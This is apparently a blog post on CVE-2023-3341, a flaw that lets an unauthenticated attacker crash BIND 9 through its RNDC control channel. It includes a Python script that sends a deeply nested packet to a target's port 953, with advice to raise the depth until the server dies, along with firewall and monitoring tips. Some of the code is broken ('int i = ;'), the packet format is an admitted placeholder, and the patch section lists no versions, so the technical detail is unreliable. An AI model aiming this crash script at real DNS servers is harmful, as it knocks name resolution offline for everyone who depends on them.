---

When it comes to critical internet infrastructure, BIND 9 (Berkeley Internet Name Domain) stands tall as the world’s most popular open-source DNS server. So when a new vulnerability—CVE-2023-3341—arises that could let an attacker remotely knock out your DNS backbone without even authenticating, every sysadmin needs to know about it.

This post explains, in clear language, how this vulnerability allows an unauthenticated remote denial-of-service (DoS) attack against BIND 9 installations. We’ll walk through *why* this happens, *how* you can exploit it, and what you must do to defend your network.

The Heart of the Flaw: Recursive Packet Parsing

At the core of this CVE is how named, the daemon behind BIND, reads and processes messages on its control channel (also known as RNDC—the Remote Name Daemon Controller). This is the channel used to send commands like reload, flush, or stats to a running BIND server, usually via TCP on port 953.

Here’s the catch: When named receives a control channel packet, it recursively parses the message before checking if it’s from a legit source. This recursion is only stopped by the maximum size of an accepted packet. That means, for a specially crafted large enough packet, the parsing code can call itself so many times that the server's stack runs out of memory…and *crash goes BIND*.

A message is received and passed into a parser

- The parser calls another function for each element in the message, potentially doing this *recursively*

A deep enough (carefully crafted) packet will cause a “stack overflow,” crashing the DNS service

No valid RNDC key is needed—all an attacker needs is TCP access to port 953 (or wherever you’ve configured the control channel).

Let’s look at (a simplified) code snippet to clarify

// Imagine this is the recursive part of the control channel parser
void process_control_message(Message *msg) {
    for (int i = ; i < msg->element_count; i++) {
        if (msg->elements[i].type == NESTED_STRUCTURE) {
            process_control_message(msg->elements[i].nested_message); // RECURSION
        } else {
            // Handle item
        }
    }
}

If the message isn’t nested, no problem. But what if an attacker crafts a packet that’s thousands of layers deep? Each function call eats more stack—eventually, the server process is terminated with a segmentation fault (SIGSEGV) or stack exhaustion error.

BIND parses the packet *before* verifying the sender or their key.


## Proof of Concept / Exploit Details

1. Network Access

Access to the BIND server’s control channel (default: TCP port 953). Watch out: Some admins expose this to *any* interface.

2. Craft Evil Packet

Using a scripting tool (like Python’s socket module), the attacker builds a message with deeply nested elements. Actual message structure is binary ASN.1-like, but you don’t need to get the authentication right—the crash occurs well before that!

Python proof-of-concept snippet

import socket

def build_deep_packet(depth):
    # Packet structure would be ASN.1 encoded; this is a over-simplified placeholder
    data = b''
    for _ in range(depth):
        data += b'\x30\x02'  # Simulated SEQUENCE tag with length 2 (nesting)
    data += b'\x00\x00'  # End
    return data

target = ('target_dns_ip', 953)
sock = socket.create_connection(target)
data = build_deep_packet(2048)  # Dangerously deep!
sock.send(data)
sock.close()

Adjust depth until the BIND process crashes—the number depends on stack size and platform.

3. Watch DNS Die

After sending, the named process will crash and require a manual restart, taking your DNS offline.

Security patch releases for supported branches

- Restrict RNDC Port: Use firewall rules to restrict TCP/953 to localhost or only trusted management IPs.
- Monitor for Restarts: Tools like systemd, monit, or Nagios can alert you to unexpected daemon failure.

Official References

- ISC Advisory: CVE-2023-3341
- NIST NVD: CVE-2023-3341 Entry
- BIND 9 Release Notes

Final Thoughts

The BIND 9 CVE-2023-3341 bug is a classic example of how parsing user input before authentication can open up devastating vulnerabilities—even in non-HTTP, admin-only channels like RNDC. Every internet operator, enterprise, or hobbyist running BIND should patch now and review control channel firewall rules. *Don't become the next unintentional DNS outage!*

If you need additional help identifying whether you’re affected, these commands might help

named -V  # Shows your BIND version
ss -tlnp | grep 953  # See if port 953 is exposed

Timeline

Published on: 09/20/2023 13:15:00 UTC
Last modified on: 10/11/2023 03:15:00 UTC